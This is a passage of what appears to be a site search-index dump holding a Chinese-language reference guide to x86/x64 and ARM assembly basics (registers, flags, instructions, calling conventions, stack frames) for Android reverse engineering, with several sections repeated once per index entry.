(General Purpose Registers) 32 位 (IA-32) 通用寄存器 8 个 32 位通用寄存器，它们有历史上的主要用途，但在很多情况下可以通用。 寄存器 16 位 高 8 位 低 8 位 主要用途 EAX AX AH AL 累加器：函数返回值、算术运算 EBX BX BH BL 基址：数据段基址指针 ECX CX CH CL 计数器：循环计数、移位计数 EDX DX DH DL 数据：乘除法扩展、I/O 端口 ESP SP — — 栈指针：永远指向栈顶 EBP BP — — 基址指针：指向当前栈帧底部 ESI SI — — 源变址：字符串操作源地址 EDI DI — — 目的变址：字符串操作目的地址 EIP IP — — 指令指针：指向下一条将执行的指令 (不可直接修改) 64 位 (x86-64/AMD64) 通用寄存器 x86-64 将所有寄存器扩展为 64 位，并新增了 R8-R15。 64 位 32 位 16 位 8 位 说明 RAX EAX AX AL 返回值 RBX EBX BX BL 被调用者保存 RCX ECX CX CL System V: 第 4 个参数; Win: 第 1 个参数 RDX EDX DX DL System V: 第 3 个参数; Win: 第 2 个参数 RSP ESP SP SPL 栈指针 RBP EBP BP BPL 帧指针 (被调用者保存) RSI ESI SI SIL System V: 第 2 个参数 RDI EDI DI DIL System V: 第 1 个参数 R8 R8D R8W R8B System V: 第 5 个参数 R9 R9D R9W R9B System V: 第 6 个参数 R10 R10D R10W R10B 调用者保存 R11 R11D R11W R11B 调用者保存 R12 R12D R12W R12B 被调用者保存 R13 R13D R13W R13B 被调用者保存 R14 R14D R14W R14B 被调用者保存 R15 R15D R15W R15B 被调用者保存 RIP EIP IP — 指令指针 32 位操作自动清零高 32 位 在 x86-64 中，对 32 位寄存器 (如 EAX) 的写操作会自动将高 32 位清零。但对 16 位或 8 位寄存器的写操作不会清零高位。这是一个重要细节： MOV EAX, 0x1 ; RAX = 0x00000000_00000001 (高位自动清零) MOV AX, 0x1 ; RAX 的高 48 位保持不变，只改低 16 位 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:1:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#通用寄存器-general-purpose-registers"},{"categories":null,"collections":null,"content":"段寄存器 (Segment Registers) 在现代系统中段寄存器作用已弱化，但 FS/GS 仍用于线程本地存储 (TLS)。在 Android 逆向中基本不会遇到。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:1:2","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#段寄存器-segment-registers"},{"categories":null,"collections":null,"content":"标志寄存器 (EFLAGS/RFLAGS) 标志寄存器记录了上一条运算指令的结果状态，条件跳转指令据此决定是否跳转。 标志位 名称 含义 ZF Zero Flag 结果为零时置 1 SF Sign Flag 结果为负 (最高位为 1) 时置 1 CF Carry Flag 无符号运算产生进位/借位时置 1 OF Overflow Flag 有符号运算溢出时置 1 DF Direction Flag 字符串操作方向 TF Trap Flag 单步调试标志 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:1:3","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#标志寄存器-eflagsrflags"},{"categories":null,"collections":null,"content":"x86 汇编 (IA-32) 以 32 位 x86 架构为例，其设计复杂而灵活。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:2:0","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#x86-汇编-ia-32"},{"categories":null,"collections":null,"content":"常用指令 数据传送: MOV dest, src: 将 src 的值赋给 dest。 (e.g., MOV EAX, EBX) PUSH val: 将 val 压入栈顶，ESP 减 4。 POP reg: 从栈顶弹出一个值到 reg，ESP 加 4。 LEA reg, [mem]: 将 mem 的有效地址加载到 reg，而不是其内容。 MOVZX reg, src: 零扩展传送 (高位补零)。 MOVSX reg, src: 符号扩展传送 (高位补符号位)。 算术运算: ADD dest, src: dest = dest + src SUB dest, src: dest = dest - src INC reg: reg = reg + 1 DEC reg: reg = reg - 1 IMUL: 有符号乘法。单操作数: EDX:EAX = EAX * 操作数; 双操作数: dest = dest * src IDIV divisor: 有符号除法。EDX:EAX / divisor，商在 EAX，余数在 EDX。 NEG reg: 取反 (reg = -reg) 逻辑运算: AND dest, src: 按位与 OR dest, src: 按位或 XOR dest, src: 按位异或。XOR EAX, EAX 是清零 EAX 的惯用手法。 NOT reg: 按位取反 SHL reg, count: 逻辑左移 SHR reg, count: 逻辑右移 SAR reg, count: 算术右移 (保留符号位) TEST reg1, reg2: 按位与但不存储结果，只更新标志位。TEST EAX, EAX 用于检测 EAX 是否为 0。 比较与跳转: CMP reg1, reg2: 比较 (实际是做减法)，并设置标志位。 JMP target: 无条件跳转。 JE/JZ target: 相等/零 (ZF=1) 则跳转。 JNE/JNZ target: 不等/非零 (ZF=0) 则跳转。 JG/JNLE target: 有符号大于。 JL/JNGE target: 有符号小于。 JGE/JNL target: 有符号大于等于。 JLE/JNG target: 有符号小于等于。 JA/JB target: 无符号大于/小于。 函数调用: CALL target: 将 EIP 的下一条指令地址压栈，然后跳转到 target。 RET: 从栈顶弹出地址，并跳转到该地址。 RET n: 返回并从栈中弹出 n 字节 (被调用者清理栈，stdcall 使用)。 LEAVE: 等价于 MOV ESP, EBP; POP EBP。用于函数结语中拆除栈帧。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:2:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#常用指令"},{"categories":null,"collections":null,"content":"x86 调用约定详解 调用约定规定了函数如何传递参数、如何返回结果、谁负责清理栈。在逆向中正确识别调用约定是理解函数接口的关键。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:3:0","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#x86-调用约定详解"},{"categories":null,"collections":null,"content":"32 位调用约定 cdecl (C Declaration) C 语言的默认调用约定，Linux/macOS 上最常见。 ; 调用 int add(int a, int b) =\u003e add(1, 2) PUSH 2 ; 第二个参数 (从右往左压栈) PUSH 1 ; 第一个参数 CALL add ; 调用函数 ADD ESP, 8 ; 调用者清理栈 (2 个参数 * 4 字节) ; 返回值在 EAX 中 特性 说明 参数传递 从右到左压栈 栈清理 调用者 (caller) 返回值 EAX (32位), EDX:EAX (64位) 支持变参 是 (如 printf) stdcall (Standard Call) Win32 API 的标准调用约定。 ; 调用 int __stdcall MessageBoxA(HWND, LPCSTR, LPCSTR, UINT) PUSH 0 ; uType = MB_OK PUSH offset szTitle ; lpCaption PUSH offset szText ; lpText PUSH 0 ; hWnd = NULL CALL MessageBoxA ; 调用函数 ; 不需要 ADD ESP —— 被调用者已经清理了 ; 函数内部以 RET 16 结尾 特性 说明 参数传递 从右到左压栈 栈清理 被调用者 (callee)，通过 RET n 实现 返回值 EAX 支持变参 否 fastcall 前两个参数通过寄存器传递，提高效率。 ; 调用 int __fastcall func(int a, int b, int c) =\u003e func(1, 2, 3) PUSH 3 ; 第三个参数通过栈 MOV EDX, 2 ; 第二个参数 -\u003e EDX MOV ECX, 1 ; 第一个参数 -\u003e ECX CALL func 特性 说明 参数传递 ECX=第1参数, EDX=第2参数, 剩余压栈 栈清理 被调用者 返回值 EAX ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:3:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#32-位调用约定"},{"categories":null,"collections":null,"content":"32 位调用约定 cdecl (C Declaration) C 语言的默认调用约定，Linux/macOS 上最常见。 ; 调用 int add(int a, int b) =\u003e add(1, 2) PUSH 2 ; 第二个参数 (从右往左压栈) PUSH 1 ; 第一个参数 CALL add ; 调用函数 ADD ESP, 8 ; 调用者清理栈 (2 个参数 * 4 字节) ; 返回值在 EAX 中 特性 说明 参数传递 从右到左压栈 栈清理 调用者 (caller) 返回值 EAX (32位), EDX:EAX (64位) 支持变参 是 (如 printf) stdcall (Standard Call) Win32 API 的标准调用约定。 ; 调用 int __stdcall MessageBoxA(HWND, LPCSTR, LPCSTR, UINT) PUSH 0 ; uType = MB_OK PUSH offset szTitle ; lpCaption PUSH offset szText ; lpText PUSH 0 ; hWnd = NULL CALL MessageBoxA ; 调用函数 ; 不需要 ADD ESP —— 被调用者已经清理了 ; 函数内部以 RET 16 结尾 特性 说明 参数传递 从右到左压栈 栈清理 被调用者 (callee)，通过 RET n 实现 返回值 EAX 支持变参 否 fastcall 前两个参数通过寄存器传递，提高效率。 ; 调用 int __fastcall func(int a, int b, int c) =\u003e func(1, 2, 3) PUSH 3 ; 第三个参数通过栈 MOV EDX, 2 ; 第二个参数 -\u003e EDX MOV ECX, 1 ; 第一个参数 -\u003e ECX CALL func 特性 说明 参数传递 ECX=第1参数, EDX=第2参数, 剩余压栈 栈清理 被调用者 返回值 EAX ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:3:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#cdecl-c-declaration"},{"categories":null,"collections":null,"content":"32 位调用约定 cdecl (C Declaration) C 语言的默认调用约定，Linux/macOS 上最常见。 ; 调用 int add(int a, int b) =\u003e add(1, 2) PUSH 2 ; 第二个参数 (从右往左压栈) PUSH 1 ; 第一个参数 CALL add ; 调用函数 ADD ESP, 8 ; 调用者清理栈 (2 个参数 * 4 字节) ; 返回值在 EAX 中 特性 说明 参数传递 从右到左压栈 栈清理 调用者 (caller) 返回值 EAX (32位), EDX:EAX (64位) 支持变参 是 (如 printf) stdcall (Standard Call) Win32 API 的标准调用约定。 ; 调用 int __stdcall MessageBoxA(HWND, LPCSTR, LPCSTR, UINT) PUSH 0 ; uType = MB_OK PUSH offset szTitle ; lpCaption PUSH offset szText ; lpText PUSH 0 ; hWnd = NULL CALL MessageBoxA ; 调用函数 ; 不需要 ADD ESP —— 被调用者已经清理了 ; 函数内部以 RET 16 结尾 特性 说明 参数传递 从右到左压栈 栈清理 被调用者 (callee)，通过 RET n 实现 返回值 EAX 支持变参 否 fastcall 前两个参数通过寄存器传递，提高效率。 ; 调用 int __fastcall func(int a, int b, int c) =\u003e func(1, 2, 3) PUSH 3 ; 第三个参数通过栈 MOV EDX, 2 ; 第二个参数 -\u003e EDX MOV ECX, 1 ; 第一个参数 -\u003e ECX CALL func 特性 说明 参数传递 ECX=第1参数, EDX=第2参数, 剩余压栈 栈清理 被调用者 返回值 EAX ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:3:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#stdcall-standard-call"},{"categories":null,"collections":null,"content":"32 位调用约定 cdecl (C Declaration) C 语言的默认调用约定，Linux/macOS 上最常见。 ; 调用 int add(int a, int b) =\u003e add(1, 2) PUSH 2 ; 第二个参数 (从右往左压栈) PUSH 1 ; 第一个参数 CALL add ; 调用函数 ADD ESP, 8 ; 调用者清理栈 (2 个参数 * 4 字节) ; 返回值在 EAX 中 特性 说明 参数传递 从右到左压栈 栈清理 调用者 (caller) 返回值 EAX (32位), EDX:EAX (64位) 支持变参 是 (如 printf) stdcall (Standard Call) Win32 API 的标准调用约定。 ; 调用 int __stdcall MessageBoxA(HWND, LPCSTR, LPCSTR, UINT) PUSH 0 ; uType = MB_OK PUSH offset szTitle ; lpCaption PUSH offset szText ; lpText PUSH 0 ; hWnd = NULL CALL MessageBoxA ; 调用函数 ; 不需要 ADD ESP —— 被调用者已经清理了 ; 函数内部以 RET 16 结尾 特性 说明 参数传递 从右到左压栈 栈清理 被调用者 (callee)，通过 RET n 实现 返回值 EAX 支持变参 否 fastcall 前两个参数通过寄存器传递，提高效率。 ; 调用 int __fastcall func(int a, int b, int c) =\u003e func(1, 2, 3) PUSH 3 ; 第三个参数通过栈 MOV EDX, 2 ; 第二个参数 -\u003e EDX MOV ECX, 1 ; 第一个参数 -\u003e ECX CALL func 特性 说明 参数传递 ECX=第1参数, EDX=第2参数, 剩余压栈 栈清理 被调用者 返回值 EAX ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:3:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#fastcall"},{"categories":null,"collections":null,"content":"64 位调用约定 System V AMD64 ABI (Linux/macOS/Android x86-64) 这是 Android x86-64 模拟器中使用的调用约定，也是 Linux/macOS 的标准。 ; 调用 long func(long a, long b, long c, long d, long e, long f, long g) ; func(1, 2, 3, 4, 5, 6, 7) PUSH 7 ; 第 7 个参数通过栈 MOV R9, 6 ; 第 6 个参数 MOV R8, 5 ; 第 5 个参数 MOV RCX, 4 ; 第 4 个参数 MOV RDX, 3 ; 第 3 个参数 MOV RSI, 2 ; 第 2 个参数 MOV RDI, 1 ; 第 1 个参数 CALL func ADD RSP, 8 ; 调用者清理栈上的参数 特性 说明 整数参数 RDI, RSI, RDX, RCX, R8, R9 (前 6 个) 浮点参数 XMM0-XMM7 (前 8 个) 栈清理 调用者 返回值 RAX (整数), XMM0 (浮点) 被调用者保存 RBX, RBP, R12-R15 调用者保存 其余所有 Red Zone RSP 下方 128 字节可用 (叶函数优化) 栈对齐 CALL 前 RSP 必须 16 字节对齐 Microsoft x64 (Windows x64) 特性 说明 整数参数 RCX, RDX, R8, R9 (前 4 个) 浮点参数 XMM0-XMM3 (前 4 个) Shadow Space 调用者必须在栈上预留 32 字节 被调用者保存 RBX, RBP, RDI, RSI, R12-R15 快速判断调用约定 PUSH 参数 + CALL + ADD ESP, N -\u003e cdecl PUSH 参数 + CALL，无栈清理 -\u003e stdcall ECX/EDX 传参 -\u003e fastcall 或 thiscall 64 位 RDI/RSI 传参 -\u003e System V AMD64 64 位 RCX/RDX 传参 -\u003e Microsoft x64 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:3:2","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#64-位调用约定"},{"categories":null,"collections":null,"content":"64 位调用约定 System V AMD64 ABI (Linux/macOS/Android x86-64) 这是 Android x86-64 模拟器中使用的调用约定，也是 Linux/macOS 的标准。 ; 调用 long func(long a, long b, long c, long d, long e, long f, long g) ; func(1, 2, 3, 4, 5, 6, 7) PUSH 7 ; 第 7 个参数通过栈 MOV R9, 6 ; 第 6 个参数 MOV R8, 5 ; 第 5 个参数 MOV RCX, 4 ; 第 4 个参数 MOV RDX, 3 ; 第 3 个参数 MOV RSI, 2 ; 第 2 个参数 MOV RDI, 1 ; 第 1 个参数 CALL func ADD RSP, 8 ; 调用者清理栈上的参数 特性 说明 整数参数 RDI, RSI, RDX, RCX, R8, R9 (前 6 个) 浮点参数 XMM0-XMM7 (前 8 个) 栈清理 调用者 返回值 RAX (整数), XMM0 (浮点) 被调用者保存 RBX, RBP, R12-R15 调用者保存 其余所有 Red Zone RSP 下方 128 字节可用 (叶函数优化) 栈对齐 CALL 前 RSP 必须 16 字节对齐 Microsoft x64 (Windows x64) 特性 说明 整数参数 RCX, RDX, R8, R9 (前 4 个) 浮点参数 XMM0-XMM3 (前 4 个) Shadow Space 调用者必须在栈上预留 32 字节 被调用者保存 RBX, RBP, RDI, RSI, R12-R15 快速判断调用约定 PUSH 参数 + CALL + ADD ESP, N -\u003e cdecl PUSH 参数 + CALL，无栈清理 -\u003e stdcall ECX/EDX 传参 -\u003e fastcall 或 thiscall 64 位 RDI/RSI 传参 -\u003e System V AMD64 64 位 RCX/RDX 传参 -\u003e Microsoft x64 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:3:2","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#system-v-amd64-abi-linuxmacosandroid-x86-64"},{"categories":null,"collections":null,"content":"64 位调用约定 System V AMD64 ABI (Linux/macOS/Android x86-64) 这是 Android x86-64 模拟器中使用的调用约定，也是 Linux/macOS 的标准。 ; 调用 long func(long a, long b, long c, long d, long e, long f, long g) ; func(1, 2, 3, 4, 5, 6, 7) PUSH 7 ; 第 7 个参数通过栈 MOV R9, 6 ; 第 6 个参数 MOV R8, 5 ; 第 5 个参数 MOV RCX, 4 ; 第 4 个参数 MOV RDX, 3 ; 第 3 个参数 MOV RSI, 2 ; 第 2 个参数 MOV RDI, 1 ; 第 1 个参数 CALL func ADD RSP, 8 ; 调用者清理栈上的参数 特性 说明 整数参数 RDI, RSI, RDX, RCX, R8, R9 (前 6 个) 浮点参数 XMM0-XMM7 (前 8 个) 栈清理 调用者 返回值 RAX (整数), XMM0 (浮点) 被调用者保存 RBX, RBP, R12-R15 调用者保存 其余所有 Red Zone RSP 下方 128 字节可用 (叶函数优化) 栈对齐 CALL 前 RSP 必须 16 字节对齐 Microsoft x64 (Windows x64) 特性 说明 整数参数 RCX, RDX, R8, R9 (前 4 个) 浮点参数 XMM0-XMM3 (前 4 个) Shadow Space 调用者必须在栈上预留 32 字节 被调用者保存 RBX, RBP, RDI, RSI, R12-R15 快速判断调用约定 PUSH 参数 + CALL + ADD ESP, N -\u003e cdecl PUSH 参数 + CALL，无栈清理 -\u003e stdcall ECX/EDX 传参 -\u003e fastcall 或 thiscall 64 位 RDI/RSI 传参 -\u003e System V AMD64 64 位 RCX/RDX 传参 -\u003e Microsoft x64 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:3:2","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#microsoft-x64-windows-x64"},{"categories":null,"collections":null,"content":"ARM 汇编 (ARMv7) 以 32 位 ARM 架构为例，其设计简洁而高效。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:4:0","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#arm-汇编-armv7"},{"categories":null,"collections":null,"content":"核心寄存器 共有 16 个 32 位通用寄存器 (R0-R15)。 寄存器 别名 主要用途 R0 - R3 参数/返回值: 用于传递函数的前 4 个参数，R0 也用于存放函数返回值。 R4 - R11 被调用者保存：函数使用前必须保存，返回前恢复。 R12 IP 过程内调用临时寄存器 (链接器使用)。 R13 SP 栈指针 (Stack Pointer): 指向栈顶。 R14 LR 链接寄存器 (Link Register): 存储函数的返回地址。 R15 PC 程序计数器 (Program Counter): 指向下一条将要执行的指令。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:4:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#核心寄存器"},{"categories":null,"collections":null,"content":"加载/存储 (Load/Store) 架构 这是 RISC 的核心思想。CPU 不能直接对内存中的数据进行运算。 必须先用 LDR (Load Register) 指令将内存中的数据加载到寄存器中。 在寄存器之间完成所有算术和逻辑运算。 再用 STR (Store Register) 指令将结果存回内存。 ; x86 可以直接对内存操作: ; ADD [EBP-4], 10 ; 直接把内存中的值加 10 ; ARM 必须三步走: LDR R0, [R11, #-4] ; 1. 从内存加载到寄存器 ADD R0, R0, #10 ; 2. 在寄存器中运算 STR R0, [R11, #-4] ; 3. 将结果存回内存 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:4:2","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#加载存储-loadstore-架构"},{"categories":null,"collections":null,"content":"常用指令 数据传送: MOV Rd, Rn: 将 Rn 的值赋给 Rd。 (e.g., MOV R0, R1) MOV Rd, #imm: 将立即数赋给 Rd。 (e.g., MOV R0, #0xFF) MVN Rd, Rn: 将 Rn 按位取反后赋给 Rd。 算术运算: ADD Rd, Rn, Rm: Rd = Rn + Rm SUB Rd, Rn, Rm: Rd = Rn - Rm MUL Rd, Rn, Rm: Rd = Rn * Rm RSB Rd, Rn, #0: Rd = 0 - Rn (取负数的惯用手法) 内存操作: LDR Rd, [Rn, #offset]: 从地址 Rn + offset 加载一个字到 Rd。 STR Rd, [Rn, #offset]: 将 Rd 的值存储到地址 Rn + offset。 LDRB Rd, [Rn]: 加载一个字节。 STRB Rd, [Rn]: 存储一个字节。 栈操作: PUSH {reg_list}: 将寄存器列表压入栈。 POP {reg_list}: 将值从栈中弹出到寄存器列表。 跳转与比较: CMP Rn, Rm: 比较 Rn 和 Rm，并设置标志位。 B target: 无条件跳转到 target。 BEQ target: 如果相等则跳转。 BNE target: 如果不相等则跳转。 BL target: (Branch with Link) “调用函数”。它会自动将下一条指令的地址存入 LR 寄存器，然后跳转到 target。 函数返回时，只需执行 MOV PC, LR 或 BX LR 即可。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:4:3","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#常用指令-1"},{"categories":null,"collections":null,"content":"调用约定 (AAPCS) ARM Procedure Call Standard。 参数传递: 前 4 个参数通过 R0, R1, R2, R3 传递。 剩余的参数通过栈传递。 返回值: 返回值存储在 R0 中。 返回地址: 通过 LR 寄存器管理。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:4:4","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#调用约定-aapcs"},{"categories":null,"collections":null,"content":"x86 vs ARM 指令对比 这一节将常见操作在两种架构上的实现并排对比，帮助你在两种架构之间快速切换思维。 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:5:0","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#x86-vs-arm-指令对比"},{"categories":null,"collections":null,"content":"基本操作对比 操作 x86 (AT\u0026T 语法) x86 (Intel 语法) ARM (AArch64) 赋值 movl $1, %eax MOV EAX, 1 MOV W0, #1 加法 addl %ebx, %eax ADD EAX, EBX ADD W0, W0, W1 减法 subl $5, %eax SUB EAX, 5 SUB W0, W0, #5 比较 cmpl $10, %eax CMP EAX, 10 CMP W0, #10 条件跳转 je label JE label B.EQ label 函数调用 call func CALL func BL func 函数返回 ret RET RET 清零 xorl %eax, %eax XOR EAX, EAX MOV W0, WZR ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:5:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#基本操作对比"},{"categories":null,"collections":null,"content":"函数调用对比 ; === x86-64 (System V): 调用 func(1, 2, 3) === MOV EDI, 1 ; 第 1 个参数 -\u003e RDI MOV ESI, 2 ; 第 2 个参数 -\u003e RSI MOV EDX, 3 ; 第 3 个参数 -\u003e RDX CALL func ; CALL 会把返回地址压栈 ; 返回值在 RAX ; === AArch64 (AAPCS64): 调用 func(1, 2, 3) === MOV W0, #1 ; 第 1 个参数 -\u003e X0 MOV W1, #2 ; 第 2 个参数 -\u003e X1 MOV W2, #3 ; 第 3 个参数 -\u003e X2 BL func ; BL 把返回地址存入 LR (X30) ; 返回值在 X0 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:5:2","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#函数调用对比"},{"categories":null,"collections":null,"content":"栈帧建立对比 ; === x86 函数序言/结语 === ; 序言 (Prologue) PUSH EBP ; 保存旧的帧指针 MOV EBP, ESP ; 建立新的帧指针 SUB ESP, 0x20 ; 分配 32 字节局部变量空间 PUSH EBX ; 保存被调用者保存寄存器 ; 结语 (Epilogue) POP EBX ; 恢复被调用者保存寄存器 LEAVE ; MOV ESP, EBP; POP EBP RET ; 从栈弹出返回地址并跳转 ; === AArch64 函数序言/结语 === ; 序言 (Prologue) STP X29, X30, [SP, #-32]! ; 保存 FP 和 LR，分配栈空间 MOV X29, SP ; 建立帧指针 STP X19, X20, [SP, #16] ; 保存被调用者保存寄存器 ; 结语 (Epilogue) LDP X19, X20, [SP, #16] ; 恢复被调用者保存寄存器 LDP X29, X30, [SP], #32 ; 恢复 FP 和 LR RET ; 返回 (跳转到 LR) ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:5:3","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#栈帧建立对比"},{"categories":null,"collections":null,"content":"核心差异总结 特性 x86 (CISC) ARM (RISC) 指令集 复杂，长度可变 (1-15 字节) 精简，长度固定 (ARM: 4 字节, Thumb: 2/4 字节) 内存访问 可以直接对内存操作 (e.g., ADD [mem], EAX) 加载/存储架构 (必须先 LDR，再 STR) 寄存器 较少 (8/16 个)，且有特定用途 较多 (16/31 个)，大多为通用寄存器 函数调用 CALL 指令压栈 EIP BL 指令将返回地址存入 LR 寄存器 参数传递 32位: 主要通过栈; 64位: 寄存器 主要通过寄存器 (R0-R3 / X0-X7) 条件执行 通过 CMP 和 Jcc 跳转指令 ARM32: 几乎所有指令可条件执行; A64: 条件分支 + CSEL 操作数格式 二操作数: ADD EAX, EBX (EAX += EBX) 三操作数: ADD R0, R1, R2 (R0 = R1 + R2) 返回指令 RET (从栈弹出地址) BX LR / RET (从寄存器取地址) ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:5:4","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#核心差异总结"},{"categories":null,"collections":null,"content":"常见指令速查表 ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:6:0","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 汇编基础指南","uri":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/#常见指令速查表"},{"categories":null,"collections":null,"content":"x86/x64 指令速查 指令 操作 示例 说明 MOV 赋值 MOV EAX, 1 dest = src LEA 取地址 LEA EAX, [EBX+ECX*4] dest = 有效地址 (不访问内存) PUSH 压栈 PUSH EAX ESP -= 4; [ESP] = EAX POP 弹栈 POP EAX EAX = [ESP]; ESP += 4 ADD 加法 ADD EAX, EBX dest += src SUB 减法 SUB EAX, 5 dest -= src IMUL 乘法 IMUL EAX, EBX dest *= src IDIV 除法 IDIV ECX EAX = EDX:EAX / ECX AND 按位与 AND EAX, 0xFF dest \u0026= src OR 按位或 OR EAX, 1 dest |= src XOR 按位异或 XOR EAX, EAX dest ^= src (清零惯用法) SHL 左移 SHL EAX, 3 dest «= count SHR 逻辑右移 SHR EAX, 1 dest »= count (补0) SAR 算术右移 SAR EAX, 1 dest »= count (补符号) CMP 比较 CMP EAX, 10 设置标志位 (dest - src) TEST 测试 TEST EAX, EAX 设置标志位 (dest \u0026 src) JMP 跳转 JMP label 无条件跳转 JE/JZ 相等跳转 JE label ZF=1 则跳 JNE/JNZ 不等跳转 JNE label ZF=0 则跳 CALL 调用 CALL func 压栈返回地址并跳转 RET 返回 RET 弹出返回地址并跳转 NOP 空操作 NOP 什么也不做 (对齐/填充) ","date":"2024-05-21","objectID":"/reverse_engineering/android/04-reference/foundations/x86_and_arm_assembly_basics/:6:1","tags":["基础知识","Smali","Android","ARM汇编","DEX"],"title":"x86 与 ARM 